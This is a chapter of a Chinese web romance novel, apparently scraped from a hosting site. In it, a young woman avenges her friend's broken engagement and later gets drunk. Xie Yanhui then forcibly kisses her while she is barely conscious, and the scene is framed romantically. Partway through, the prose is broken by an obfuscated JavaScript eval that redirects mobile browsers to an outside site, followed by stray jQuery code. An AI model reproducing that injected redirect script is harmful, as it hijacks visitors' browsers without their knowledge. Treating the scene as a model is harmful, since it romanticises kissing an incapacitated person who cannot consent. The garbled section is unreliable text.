文趣网 > 其他小说 > 衔羽 > 26. 第 26 章
    这天,豆丫从村里坐着驴车来镇上找她了。

    驴车刚停稳,豆丫就从车上跳了下来,大喊着:“羽儿!”

    “豆丫!”俞羽立马冲了过去。

    算起来,他们搬来镇上也不过才一个月光景。但她和豆丫俩以前可是朝夕相处,天天见面。这么一想,就感觉已经分别了好久好久。

    豆丫抱着她,迟迟不肯放开。俞羽拍着她的背笑道:“好了好了,这不见着了嘛,别腻歪了,我带你去逛……”

    话还没说完,她就感觉到自己衣襟一片湿润。

    俞羽瞪大眼睛,一把把她拉开:“你不至于吧?见到我都激动得都哭了啊?”

    “羽儿……”豆丫抬起头,满脸是泪,“见到你……真好。你不知道,这几天我都快被憋屈死了……我真感觉我活不下去了……”

    “胡说八道什么!什么叫活不下去了?”

    “我也不想一见面就跟你说这些丧气话的。”豆丫擦着眼泪说,“可我真的憋不住了。不和你说,我也不知道该和谁说了。”

    “发生什么了,你快说啊!”俞羽急切道。

    “还不是……我那个婚事……”

    “不是都定下来了吗?”

    “我也以为……”豆丫道,“我一直没敢告诉你……在你走后,我爹娘就去跟他们商议婚事,日子都定下来了。但我……但我实在好奇他是什么样的人,于是就偷偷跑去看了他一眼……”

    “这不很正常吗?然后呢?”

    “然后我发现,他人长得的确是我喜欢的那种样子……我本来只是想远远看他两眼的,可他发现了我,也认出了我。我还担心他觉得我这样不守规矩,可没想到他说他也早就想见我了。而今日一见,他很欢喜,因为我也是他心仪的样子……”

    俞羽眉头微展:“这不挺好的嘛。本来是媒妁之言,可误打误撞一见钟情了,这不好事嘛?”

    “可后来……后来他便常来找我,我们私下里又见了两次。真的只是说说话,聊聊天,连手都没碰过,我是守着规矩的!可是……”

    豆丫忍不住哭出声来:“可是这件事被他爹娘知道了。他们说……说我没有家教,不守妇道。竟敢大婚之前就私自和夫君见面,他们要……要把说好的聘礼减去大半,否则……就退婚!”

    “什么?!”

    俞羽一把握紧了拳头:“然后呢?那个男的没说什么?”

    “他说……私自相见的确是于理不合。他爹娘担心村里人说闲话,也是应该的。他说他爹娘养大他不容易,百善孝为先,他自然得听父母的……”

    俞羽听完,拳头攥得咯吱咯吱响,恨不得把那家人暴打一顿。

    这还算什么男人?!要不是他主动撩拨,又怎么可能会有后几次的私会?哄骗着未婚妻跟自己见面,被发现了,就把责任全都推到豆丫身上!如今眼睁睁看着自己的未婚妻被父母羞辱欺负,他倒好,躲在后头装起了大孝子!

    依她看,这贱男人根本就不是什么不敢忤逆父母,而是一家子串通好了,借题发挥来压榨豆丫的聘礼!让父母出面当恶人,自己好占便宜!

    “受不了了!”

    俞羽当即站了起来,一把拖起豆丫:“成个屁的亲啊!退婚!不对,不能光退婚!我还得去把他们家给砸了,我倒要看看他们横什么!走,现在就去!”

    豆丫被她拽得踉跄了一下,眼泪扑簌簌地往下掉:“可是我还是很难过……这是我第一次这么喜欢一个男人。之前想到能和他成亲,我真的好开心……可是为什么,我喜欢的人,竟然是这样一副烂样子……是我看走了眼……”

    俞羽心头一酸,顿住脚步,用力将豆丫抱进怀里。

    “不怪你,是你太善良了。幸好,幸好你没过门就发现了,要不然真嫁过去,你不得被他们一家欺负死啊。”

    “所以我应该开心,是不是?我应该庆幸?”

    “对,你就该庆幸!”俞羽咬牙道,“当然,这事坚决不能就这么过去。我非得让他们好看不行!你要是不敢去见他们,我就自己去。我绝对不能容忍他们这么对你!”

    豆丫看着她气得发红的眼睛,擦了擦眼泪。刚刚还无助的眼睛,瞬间多了几分坚定。

    “你替我出头,我怎么能当缩头乌龟。羽儿,我跟你去!”

    说去就去,她俩跳上驴车,杀气腾腾地直奔那村子而去。

    一开始,那男人和他爹娘还梗着脖子,指责是豆丫不守妇道。

    俞羽二话不说,上前一步,抡起拳头,带着十成的内力——

    “砰——!!”

    院子里那块用来捶洗衣服的青石板,当场从中间裂成两半。

    那一家人脸上的嚣张瞬间凝固了。

    俞羽一脚踩在碎裂的石板上,居高临下地盯着那个他们:“马上道歉,出去把事澄清了。否则,下一拳砸裂的,就是你儿子的子孙根!”

    这话说完,那一家人是彻底吓破了胆。

    前一瞬还趾高气昂的他们,下一瞬就跟孙子似的,哆哆嗦嗦地跪在豆丫面前赔不是,赌咒发誓绝不乱嚼半句舌根。

    俞羽逼着豆丫当面把婚书甩在那窝囊废脸上,顺手又将那院子里的东西砸了个稀巴烂,这才扬长而去。

    ……

    出了气气,豆丫虽然心里爽了,但还是有些难过。俞羽为了宽慰她,便陪着她去酒楼里喝点酒。

    虽说她酒量随她爷,轻易不会喝醉。但许是镇上的酒太烈了,加上她心里替豆丫憋着火,不知不觉喝了好几坛,竟然真的有些醉了。

    看着豆丫被她爹接走,她这才一个人跌跌撞撞地往回走。

    夜风一吹,酒劲犹如野火燎原般窜了上来。起初脑子还算清醒,走到巷子口时,眼前的路已经开始天旋地转了。

    她摇摇晃晃地往前走,嘴里还念叨着:“一万步……一万零一步……”

    “俞姑娘?”

    昏暗的巷口,忽然冒出一个声音。

    “这是怎么了?喝醉了?深更半夜的,姑娘家一个人多危险啊。”

    “谁……谁在说话?”声音有点熟悉,但俞羽想不起来是谁了。

    那人凑近了一些:“你看你,走路都差点摔倒了。我扶着你,你先到我那儿去喝口水吧。”

    这声音跟蚊子一样,聒噪得很。紧接着,就有一只胳膊伸了过来,似乎想要拉她。

    俞羽“啪”的一下就打开了那只手,大着舌头说:“你才喝醉了呢!你睁大你的狗眼看看!我哪儿喝醉了?本姑娘千杯不倒好不好!”

    那人被拍得倒吸了一口凉气,低声骂了句“靠”。

    “我是隔壁的施崇文啊,你忘了我了?”

    “施崇文?谁?”

    俞羽踉跄着往前探了探身子。她脸颊酡红,那张清冷的脸上,染上了几分醉态。

    “啊!”她忽然想起来了,大声道,“你是那个施……施……”

    施崇文笑着说:“想起来就好。来,我扶你——”

    “你是东施嘛!”俞羽兴奋地打断他,乐不可支地挥了挥手,“你好啊,东施!”

    施崇文脸上的笑容瞬间僵住了。

    反应过俞羽说了什么,他语气变得恼怒:“俞姑娘……你是真的喝醉了,都开始胡言乱语了!走走走,我扶你先去喝完醒酒汤——”

    说罢,他不再装什么正人君子,伸手就要强拽。

    “放开她。”

    就在这僵持之时,一个冷淡的声音响起。

    两个人都不由得望向来人。

    谢燕回从阴影之中,一步一步地走出来。

    他目光扫过施崇文,随后落在摇摇晃晃的俞羽身上。没有片刻停顿,他径直走上前,一把将俞羽半护半抱地揽进自己怀里。

    “不劳你费心。”谢燕回抬起眼,冷冷看着他,“我会带她回去。”

    “……”施崇文看到他,眼中闪过一丝不甘与恼怒。

    他收回手,干笑一声:“哦,谢兄来了。我看你姐姐一个人在这儿,喝得酩酊大醉的,有些担心,毕竟大家都是邻居嘛。既然你来了,那便最好。”

    谢燕回没有理他,只是低头对俞羽轻声道:“羽儿姐,回家了。”

    俞羽从谢燕回出现的那一刻起,就直勾勾地盯着他看。听到他的声音,她那混沌的脑子忽然清楚了。

    “啊!”她指着谢燕回的脸,大声宣布,“西施来了!”

    施崇文:“……”

    谢燕回眉心跳了一下。

    他也懒得再说话,直接弯腰将俞羽打横抱了起来,转身就走。

    施崇文站在原地,看着那挺拔冷冽的背影,胸中妒火翻腾。

    从前他是私塾最拔尖的子弟,风光无两,是夫子最看重的得意门生,是众人追捧的天之骄子。可自从谢燕回到来,所有荣光尽数被这人夺去。

    如今,连他看上的女子,也都和这人不清不楚。

    嫉妒让他彻底装不下去了,他忍不住阴阳怪气地笑了一声:“啧,谢兄心胸还真是狭窄啊。俞姑娘不过是喝醉了,我好心扶一把,你便急着把人抱走。外人看了,还以为你不是她的表弟,而是她的姘头呢。”

    听到这话,谢燕回脚步一顿。

    他慢慢转过身,目光落在施崇文脸上。

    月光照进那双深不见底的黑眸里,竟照射不出一点光亮,只看得到一片寒意。施崇文心头猛地一颤,那一瞬间,他甚至感受到了一种毛骨悚然的感觉——仿佛眼前这少年不是人,而是一只厉鬼,下一瞬就会咬开他的喉咙。

    谢燕回盯着他,一字一句,声音几乎没有起伏,却让人脊背发寒:

    “把你那些肮脏的心思收起来,不要再招惹她,否则……”

    施崇文浑身一僵,下意识打了个寒颤。

    可他很快又被心底的嫉恨冲昏了头,冷笑起来:“哦?我心思肮脏,你就不肮脏了?大家都是男人,彼此打什么念头都很清楚。扯什么表姐弟的遮羞布,你也真好意思——”

    “我和她怎么样,不重要。”谢燕回打断了他,“重要的是,你,不能碰她。再敢让我看见你靠近她……”

    他眼神戾气更浓:“我就让你彻底消失。”

    这人……

    这眼神……

    施崇文的呼吸不由一滞。

    他的双腿一软,脚下也几乎站立不稳,后背衣衫瞬息被冷汗浸透,刺骨冰凉。

    这一刻,他竟感受到了一种窒息感,仿佛下一瞬,他就真的会死在这里。

    良久。

    直到谢燕回抱着人消失在院门后,施崇文才猛地大口喘息起来,扶住墙壁站稳。

    他死死攥紧拳头,朝着空荡院门狠狠啐了一口:“什么东西……还不是和我一个心思,装什么呢!”

    ……

    虽然根本就没几步路,但俞羽一路上都不老实,在他怀里蹭来蹭去。

    她倒是不重,谢燕回抱起来也毫不费力。可她身体不断蹭动,让他全身像被火慢慢烤着,燥热难耐。

    谢燕回把她抱进屋里,轻轻放在床上。

    结果这人一沾到被褥,立刻开始在床上翻滚。

    谢燕回深吸了一口气,转身去桌边倒水。

    邱撤还没睡,听到动静从西厢房探出个脑袋:“我姐回来了?”

    “嗯,喝醉了。”

    “啊?”邱撤一脸惊恐,“她没发疯吧?回哥,不是我没警告过你啊,她酒品奇差,每次喝醉了见人就打,醒了还能忘得干干净净!”

    “还好。”谢燕回道,“我喂她喝口水,睡下就没事了。”

    他端着水走进俞羽的屋

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795536|208176||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里。俞羽正趴在床上,不知道睡着了没。

    他低下头,轻声问:“羽儿姐?”

    “嗯……”俞羽含糊地应了一声。

    不愧是俞羽,醉得连自己是谁都不知道了,居然还能搭腔。

    谢燕回看着她红扑扑的脸:“很难受?”

    “难受?不难受……”俞羽闭着眼睛,“但……心里有点难受。”

    “为什么会心里难受,是谁让你不开心了吗。”

    “嗯……”

    俞羽想起豆丫的事情就来气。可她虽然现在脑子稀里糊涂,却仍觉得豆丫的事不能到处乱说。

    于是她叹了口气,发出一句无比沧桑的感慨:“我只是在想……真心换真心……怎么这么难啊。”

    谢燕回的瞳孔猛地一缩。

    他整个人都僵住了,错愕地抬起眼,几乎是下意识地追问:“你有……喜欢的人了?”

    刚刚巷子口的画面刺痛着他。难道……难道她这几日的反常,真的是看上了那个施崇文?

    俞羽没听清他在说什么,只是一味深沉道:“感情啊……是这世上最毒的酒,能让人喝醉溺死在里面,一头起不来……这就叫什么,醉生梦死!”可怜的豆丫,看来她一时半会都走不出来了。

    谢燕回死死盯着她,眼睛里翻涌着阴冷的情绪。

    许久之后,他的声音响起,听不出其中的意味:“你不是说你这辈子都不会成婚的吗?所以……你心里,还是想和喜欢的人嫁娶的,对不对?”

    “成婚?他们不是说……人都该成婚的吗?”俞羽迷迷糊糊道。

    正是因为这不成文的规矩,才局限了无数可怜的女子。如今这人言亦言的破传统,竟然还差点祸害了她的好朋友!她真是恨死了,就该把传这句话的人抓起来!

    不过她还没说完后半句,就听谢燕回低声道:“那你成婚后就会搬出去了,是不是?”

    什么……什么搬出去?

    俞羽已经听不懂他在说什么了。她眯起眼睛,只盯着谢燕回挽起袖子露出的手臂。

    那结实的小臂、贲起的青筋……不过分粗壮,却又充满了男性的力量感,真的是好完美。而上面的荒隼刺青,在灯火下更是显得妖异又鬼魅。简直……蛊惑人心。

    她又仰起头,看着那张比妖精还要漂亮的脸。这么好看的脸,还有这么好的身材……

    谢燕回低声说:“可是,我还没有找到我要找的东西。你怎么能走呢?”

    俞羽没吭声。她早就听不进去任何声音了。她的眼中只有那漂亮的手臂。

    她忽然伸出手,指尖顺着他的手背,一点点向上攀附。

    在谢燕回愕然的眼神中,她摸过那性感的青筋,还有妖异的刺青。

    “好好看……”她说,“好有力量感。”她喜欢一切有力量感的东西。

    谢燕回全身猛地一颤,像被火燎到。

    被她指尖碰过的地方,酥麻的战栗感顺着血液疯狂倒灌进心脏。

    他的眼神变得晦涩,声音也沙哑了起来:“……你知道你在做什么吗?”

    俞羽抬头,认真地看着他,像一个在回先生问话的好学生:

    “摸你。”

    谢燕回:“……”

    那一刻,他感觉自己又回到了那天被下药的时候。全身燥热不堪,几乎失去理智。而这一次,他没有吃任何催情的药物。可这种几近失控的疯狂,却要猛烈百倍。

    他垂下眸,问:“你很喜欢这个刺青?”

    “很喜欢,”俞羽毫不犹豫道,“很好看。”

    谢燕回看着她眼里的痴迷,似乎是笑了一声。

    他慢慢地跪到了床边,和床上的她平视。他伸出手,轻轻地捏住了她的下巴,强迫她看着自己。

    “那我好像知道……该用什么方式把你留下来了。”

    “嗯?”

    谢燕回的嗓音越发低沉,带着一丝蛊惑:“既然你喜欢这个……那就留下来,好好地看看。”

    俞羽茫然地看着他。

    谢燕回看着那张曾经嚣张又愚蠢的脸,此刻却露出如此懵懂又脆弱的神情。

    他再也忍不住了。

    下一瞬,他猛地俯下身,狠狠吻了上去。

    他的唇舌强硬地撬开她的齿关,攻城略地掠夺着她口中的每一寸甜蜜。唇舌交缠,发出暧昧的水声。

    唇瓣的触感太过柔软,好得超乎他的想象。他觉得那股无名的邪火要把他整个人烧死了,唯独只有靠近她才能得到片刻的缓解。可是缓解过后,却又是更加汹涌的大火。

    “唔……”俞羽被他吻得几乎窒息,下意识地抓着他的衣襟,轻声说,“要……要呼吸不过来了……”

    谢燕回粗喘着,稍稍退开半分。

    他的唇瓣还贴着她的嘴角,那双极黑的眼睛里翻涌着危险至极的疯狂。他哑声问:“你看……你曾经最憎恨的弟弟在吻你。喜欢吗?”

    “……什么?”

    谢燕回不由低低笑出声:“只是忽然觉得,我以前找的理由真是愚不可及。”

    “……嗯?”

    “顶着你弟弟的身份,的确可以理所当然留在你身边。可只要背负着所谓的道德枷锁,我就永远不可能离你最近。既然如此,还不如让你心无旁骛,让你从此以后……”

    他低声道:“只有我。”

    “什么啊……”俞羽迷迷糊糊地喘着气,“为什么只有我……你不也在吗?我们难道不是掉进河里在凫水吗?怪不得……我喘不上气……”

    谢燕回定定地看着她泛红的眼睛。

    片刻后,他再次低头,深深吻住她,

    那股大火,越烧越旺。

    他心想——

    那就一起烧死吧。

    一起燃烧殆尽,化作一堆灰烬。